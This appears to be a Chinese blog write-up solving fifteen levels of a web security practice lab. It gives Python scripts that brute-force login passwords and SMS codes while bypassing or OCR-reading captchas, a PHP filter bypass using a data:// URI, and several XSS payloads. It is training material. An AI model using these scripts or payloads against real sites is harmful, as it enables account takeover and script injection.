网络安全实验室脚本关WP

题目地址

第一题

key又又找不到了
小明这次哭了,key又找不到了!!! key啊,你究竟藏到了哪里,为什么我看到的页面上都没有啊!!!!!!

Step1:打开通关地址,显示一条连接
Step2:进入所选链接,显示“想找key,从哪里来回哪里去,我这里没有key!哼!”。这时查看包,发现提示
mark
Step3:将网址后面改为search_key.php,查看包即可
mark

第二题

快速口算
小明要参加一个高技能比赛,要求每个人都要能够快速口算四则运算,2秒钟之内就能够得到结果,但是小明就是一个小学生没有经过特殊的培训,那小明能否通过快速口算测验呢?

这个复杂的四则运算,直接python爬虫然后计算提交。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import re

try:
import requests
except ImportError:
raise SystemExit('\n[!] requests模块导入错误,请执行pip install requests安装!')

print ('\n网络信息安全攻防学习平台脚本关第2题\n')
s = requests.Session()
url = 'http://1.hacklist.sinaapp.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php'
r = s.get(url)
res = r.content.decode('utf-8')

num = re.findall(re.compile(r'<br/>\s+(.*?)='), res)[0]
print ('当前获取到需要口算的表达式及计算结果为:\n\n%s=%d\n' % (num, eval(num)))

r = s.post(url, data={'v': eval(num)})
print (re.findall(re.compile(r'<body>(.*?)</body>'), r.content.decode('utf-8'))[0])

mark

第三题

这个题目是空的
Tips:这个题目真不是随便设置的。 什么才是空的呢? 通关地址:没有,请直接提交答案(小写即可)

这个题目就tm是随便设置的,什么是空的,那就是null了

第四题

怎么就是不弹出key呢?
提交说明:提交前14个字符即可过关

查看源码发现是3个return false导致不能弹出
mark
删除那3个方法即可
前14个字符就是key
然后我就输了charsslakfjtes 然后错误,又照着敲了一遍,还错,干脆只取前14个,也不行
然后发现了chars,,,生无可恋

第五题

逗比验证码第一期
逗比的验证码,有没有难道不一样吗?

方法一

验证码正常情况下都是一提交就变的.由题目的意思看来这题的验证码提交一次后不会改变.抓个包看看是不是.
mark
验证码得填对,然后密码随便写一个看看.提交之后出现”pwd error”.
那改一下pwd再次提交看是会出现”pwd error”还是”vcode error”.
还是”pwd error”.说明验证码确实没更改.
那就好办了,密码是4位纯数字,验证码不会改,那么我们用brupsuite爆破密码就行了(python也可以)
mark

方法二

python脚本如下

1
2
3
4
5
6
7
8
9
import requests
s = requests.Session()

url = 'http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php'
header = {'Cookie': 'PHPSESSID=c872ef99d4e1d6862bab5b0cd0d81e65'}#改
for pwd in range(1000,10000):
payload = {'username': 'admin', 'pwd':pwd ,'vcode': 'ab8r'}#改
r = s.post(url, data=payload,headers=header)
print (pwd,r.content)

多线程版

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import requests, re
import threading

url = 'http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/index.php'
login = 'http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php'
s = requests.session()
c = s.get(url).content.decode('utf-8')
print (c)

# 下载验证码
pic_url = re.findall(r'<img src="(.*?)">', c, re.S)
pic= requests.get(pic_url[0], timeout=10)
f = open('code.jpg', 'wb')
f.write(pic.content)
f.close()

# 输入验证码
print ("input code:")
code = input()

# 先验证验证码是否正确
data = {'username':'admin', 'pwd':'0000', 'vcode':code, 'submit':'submit'}
c1 = s.post(login, data=data).content.decode('utf-8')
print (c1)
if 'vcode error' in c1:
exit()

lock=threading.Lock()

curTask = 1000
maxTask = 10000
flag = False
right = ''

def thread():
global lock
global curTask
global maxTask
global flag
global right

while not flag: # 当flag为假也就是正确密码还没出来时,不断取任务来完成
lock.acquire() #取任务 #这个过程不能被打断
myTask = curTask
curTask = curTask + 1
lock.release()

if myTask >= maxTask:#所有任务已经完成就退出
break

data = {'username':'admin', 'pwd':str(myTask), 'vcode':code, 'submit':'submit'}
c1 = s.post(login, data=data).content.decode('utf-8')
print (str(myTask) + ':' + c1)

if 'error' not in c1:
right = str(myTask) + ', ' + c1
flag = True # 当密码正确时,flag为真

# 多线程执行
threadNum = 50
threadlist = []
for i in range(threadNum):
threadlist.append(threading.Thread(target = thread))

for i in threadlist:
i.start()
for i in threadlist:
i.join()

# 最终输出正确结果

print ('pwd is ' + right)

第六题

逗比验证码第二期
验证便失效的验证码

第二次再发送的时候直接验证码置空就行了。

方法一

burpsuite继续爆破
mark

方法二

python脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
s = requests.Session()

url = 'http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/login.php'
header = {'Cookie': 'PHPSESSID=e3eaa75f54756a27c425ca7edf7798fe'}
payload = {'username': 'admin', 'pwd':1000 ,'vcode': 'rfj8'}
r = s.post(url, data=payload,headers=header)
print (1000,r.content)

for pwd in range(1001,9999):
payload = {'username': 'admin', 'pwd':pwd ,'vcode': ''}
r = s.post(url, data=payload,headers=header)
print (pwd,r.content)

多线程版

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import requests, re
import threading

url = 'http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/index.php'
login = 'http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php'
s = requests.session()
c = s.get(url).content.decode('utf-8')
print (c)

# 下载验证码
pic_url = re.findall(r'<img src="(.*?)">', c, re.S)
pic= requests.get(pic_url[0], timeout=10)
f = open('code.jpg', 'wb')
f.write(pic.content)
f.close()

# 输入验证码
print ("input code:")
code = input()

# 先验证验证码是否正确
data = {'username':'admin', 'pwd':'0000', 'vcode':code, 'submit':'submit'}
c1 = s.post(login, data=data).content.decode('utf-8')
print (c1)
if 'vcode error' in c1:
exit()

# 删除验证码
data.update(vcode='')

lock=threading.Lock()

curTask = 1000
maxTask = 10000
flag = False
right = ''

def thread():
global lock
global curTask
global maxTask
global flag
global right

while not flag: # 当flag为假也就是正确密码还没出来时,不断取任务来完成
lock.acquire() #取任务 #这个过程不能被打断
myTask = curTask
curTask = curTask + 1
lock.release()

if myTask >= maxTask:#所有任务已经完成就退出
break

data = {'username':'admin', 'pwd':str(myTask), 'vcode':code, 'submit':'submit'}
c1 = s.post(login, data=data).content.decode('utf-8')
print (str(myTask) + ':' + c1)

if 'error' not in c1:
right = str(myTask) + ', ' + c1
flag = True # 当密码正确时,flag为真

# 多线程执行
threadNum = 50
threadlist = []
for i in range(threadNum):
threadlist.append(threading.Thread(target = thread))

for i in threadlist:
i.start()
for i in threadlist:
i.join()

# 最终输出正确结果

print ('pwd is ' + right)

第七题

逗比的验证码第三期(SESSION)
尼玛,验证码怎么可以这样逗比。。验证码做成这样,你家里人知道吗?

其实跟第五题差不多,第五题是记录在cookie中,第七题记录在session中
方法同第六题

第八题

微笑一下就能过关了
尼玛,碰到这样的题我能笑得出来嘛…

这里用到了view-source
view-source是一种协议,早期基本上每个浏览器都支持这个协议。后来Microsoft考虑安全性,对于WindowsXP pack2以及更高版本以后IE就不再支持此协议。但是这个方法在FireFox和Chrome浏览器都还可以使用。 如果要在IE下查看源代码,只能使用查看中的”查看源代码”命令.
以前用法是在浏览器地址栏中输入
view-source: sURL
这里输入http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/index.php?view-source
回车即可看到当前网页的源代码了。
php源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php  
header("Content-type: text/html; charset=utf-8");
if (isset($_GET['view-source'])) {
show_source(__FILE__);
exit();
}

include('flag.php');

$smile = 1;

if (!isset ($_GET['^_^'])) $smile = 0;
if (preg_match ('/\./', $_GET['^_^'])) $smile = 0;
if (preg_match ('/%/', $_GET['^_^'])) $smile = 0;
if (preg_match ('/[0-9]/', $_GET['^_^'])) $smile = 0;
if (preg_match ('/http/', $_GET['^_^']) ) $smile = 0;
if (preg_match ('/https/', $_GET['^_^']) ) $smile = 0;
if (preg_match ('/ftp/', $_GET['^_^'])) $smile = 0;
if (preg_match ('/telnet/', $_GET['^_^'])) $smile = 0;
if (preg_match ('/_/', $_SERVER['QUERY_STRING'])) $smile = 0;
if ($smile) {
if (@file_exists ($_GET['^_^'])) $smile = 0;
}
if ($smile) {
$smile = @file_get_contents ($_GET['^_^']);
if ($smile === "(●'◡'●)") die($flag);
}
?>

出现了各种绕过。
1.必须对”^^”赋值
2.参数中不能有 . % [0-9] http https ftp telnet 这些东西
3.”^
^=(输入的值)”这个字符串不能有 _ 这个字符(与1矛盾)
4.^_^必须是文件
5.file_exists ($GET[‘^^’])必须为0.也就是$GET[‘^^’]此文件不在本地存在
6.file_get_contents($GET[‘^^’])必须为”(●’◡’●)”
仔细分析可以发现,第3点与第1点矛盾了,既要对”^^”赋值,又得想办法去掉”^^”中的”_”,那么可以采用Url编码变为”%5f”.这样第3点就满足了.所以我们输入就应该为”^%5f^”.继续分析第2点,这个地方把 http https ftp telnet 这些给过滤了,而第6点又要通过file_get_contents()取出$GET[‘^^’]里的值.而根据第5点,$GET[‘^^’]又必须不存在.所以$GET[‘^^’]只能是字符串”(●’◡’●)”,不可能是文件名.那么file_get_contents()里的参数应该是啥呢.查了一下,发现data://完美符合.所以我们输入就应该为”^%5f^=data:,(●’◡’●)”
另外对于3绕过还有方法:在URL中_和.等价所以参数为^.^

data协议

这题学到了新知识,data协议
Data URI 的格式十分简单,如下所示:
data:[<mime type>][;charset=<charset>][;base64],<encoded data>
第一部分是 data: 协议头,它标识这个内容为一个 data URI 资源。
第二部分是 MIME 类型,表示这串内容的展现方式,比如:text/plain,则以文本类型展示,image/jpeg,以 jpeg 图片形式展示,同样,客户端也会以这个 MIME 类型来解析数据。
第三部分是编码设置,默认编码是 charset=US-ASCII, 即数据部分的每个字符都会自动编码为 %xx,关于编码的测试,可以在浏览器地址框输入分别输入下面两串内容,查看效果:

1
2
3
4
5
6
7
8
// output: ä½ å¥½ -> 使用默认的编码展示,故乱码
data:text/html,你好
// output: 你好 -> 使用 UTF-8 展示
data:text/html;charset=UTF-8,你好
// output: 浣犲ソ -> 使用 gbk 展示(浏览器默认编码 UTF-8,故乱码)
data:text/html;charset=gbk,你好
// output: 你好 -> UTF-8 编码,内容先使用 base64 解码,然后展示
data:text/html;charset=UTF-8;base64,5L2g5aW9

第四部分是 base64 编码设定,这是一个可选项,base64 编码中仅包含 0-9,a-z,A-Z,+,/,=,其中 = 是用来编码补白的。
最后一部分为这个 Data URI 承载的内容,它可以是纯文本编写的内容,也可以是经过 base64编码 的内容。
mark

URI与URL

URI:统一资源标志符(Uniform Resource Identifier)
URL:统一资源定位符(uniform resource location)

第九题

逗比的手机验证码
你的手机号码是13388886666,验证码将会以弹窗的形式给出

点击获取手机验证码,输入提交,出现
“please login as 13388886667”
返回再次点击获取手机验证码,输入提交,出现
“手机验证码是:验证码发到别人手机上了,你看不到..”
随便输入vcode提交看看
“no vcode!”
居然是no vcode..应该是vcode error才对…
再看看前面的步骤
之前说”login as 13388886667”,按道理验证码是发到13388886666上的,那么登录13388886667的时候验证码肯定不是之前登录13388886666的验证码了.这是正常情况下的.那这题试试看是不是同一个.
点击获取验证码(13388886666)->获得”9382”->输入13388886667,输入9382->提交
key就出来啦~

第十题

基情燃烧的岁月
Tips:你是一名黑客,你怀疑你的“(男/女)闺蜜”的出轨了,你要登陆TA手机的网上营业厅查看详单,一探究竟! 闺蜜手机号码:13388886666

点击获取手机验证码,弹出
“手机验证码是:验证码发到手机上了,你看不到..是3位纯数字,开头不为0”
vcode是3位纯数字,开头不为0,都这么说了,估计就是要去爆破了
mark
13399999999继续爆破…
mark

第十一题

验证码识别
Tips:验证码依然是3位数

方法一

上神器 Pkav Http Fuzzer
mark
相当于是burpsuite+验证码识别

方法二

python脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pytesser import *
import requests
import os

cur_path = os.getcwd()
vcode_path = os.path.join(cur_path, 'vcode.png')
header = {'Cookie': 'PHPSESSID=896861c59678e89611bb675ff33facb1'}

def vcode():
pic_url = 'http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/vcode.php'
r = requests.get(pic_url, headers=header)
with open(vcode_path, 'wb') as pic:
pic.write(r.content)
im=Image.open('vcode.png')
text=image_to_string(im)
v=text[0:4].replace('O','0').replace('o','0').replace('l','1')
if len(v)==4 and v.isdigit():
return v
else:
return 0

url = 'http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/login.php'
for i in range(100, 1000):
while 1:
code = vcode()
if code:
break
data = {'username': '13388886666', 'mobi_code': str(i), 'user_code': code}
r = requests.post(url, data=data, headers=header, timeout=10)
print ('m_vode=%s u_vcode=%s %s' %(i,code,r.content))

第十二题

XSS基础关
XSS基础:很容易就可以过关.XSS类题目必须在平台登录才能进行.登录地址请参考左侧<子系统>

查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
orgAlert = window.alert;
ok = 0;
var HackingLab="success!";
function newAlert(a) {
window.alert = orgAlert;
if (a == HackingLab) {
if (ok == 0) ok = 1;
alert(a);
$.post("./getkey.php?ok=1",{'url':location.href,'ok':ok},function(data){
console.log(data);
});
showkey();
} else {
alert(a);
alert("Please use alert(HackingLab)!!");
}
}
window.alert = newAlert;
function showkey(){
//XSS题目要自觉.....无论如何都是可以绕过的,索性不加密不编码js了,大家一起玩吧.
var url="./getkey.php";
$.post(url,{"getkey":"Per aspera. Ad astra."},function(data){
$("#msg").text(data);

});
}

要提交alert(HackingLab)就可以获取flag了
提交<script>alert(HackingLab)</script>

XSS攻击

留着学

第十三题

XSS基础2:简单绕过
很容易就可以过关.

过滤了script
用img的方法
<img src=1 onerror=alert(HackingLab)>

第十四题

XSS基础3:检测与构造
XSS基础3:检测与构造
Tips:不是很难

这道题应该是有自己的过滤规则,试了很多次以后发现,虽然过滤了各种关键字以及<>,但是没有过滤’,这里构造’onmouseenter=alert(HackingLab)>,但是发现依然不可以,忽然发现用当value的值后是alert时,后边不会被过滤,所以构造alert ’onmouseenter=alert(HackingLab)> ,因为onmouseenter 事件在鼠标指针移动到元素上时才触发,所以当我们把鼠标放在下面的框,即可得到key

第十五题

Principle很重要的XSS
原理/原则/理念很重要…..不是所有的xss都叫特仑苏.. ^_^
Take it easy!

alert'onmouseover=alert(1)>
将alert’和onmouseover之间的空格去掉,就可以了。
下面来分析一下该题的过滤器工作原理:
和14题一样,通过空格分隔,查找alert这个关键字,发现第一个之后后面的就不会再生效

×

纯属好玩

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
  1. 1. 第一题
  2. 2. 第二题
  3. 3. 第三题
  4. 4. 第四题
  5. 5. 第五题
    1. 5.1. 方法一
    2. 5.2. 方法二
  6. 6. 第六题
    1. 6.1. 方法一
    2. 6.2. 方法二
  7. 7. 第七题
  8. 8. 第八题
    1. 8.1. data协议
    2. 8.2. URI与URL
  9. 9. 第九题
  10. 10. 第十题
  11. 11. 第十一题
    1. 11.1. 方法一
    2. 11.2. 方法二
  12. 12. 第十二题
    1. 12.1. XSS攻击
  13. 13. 第十三题
  14. 14. 第十四题
  15. 15. 第十五题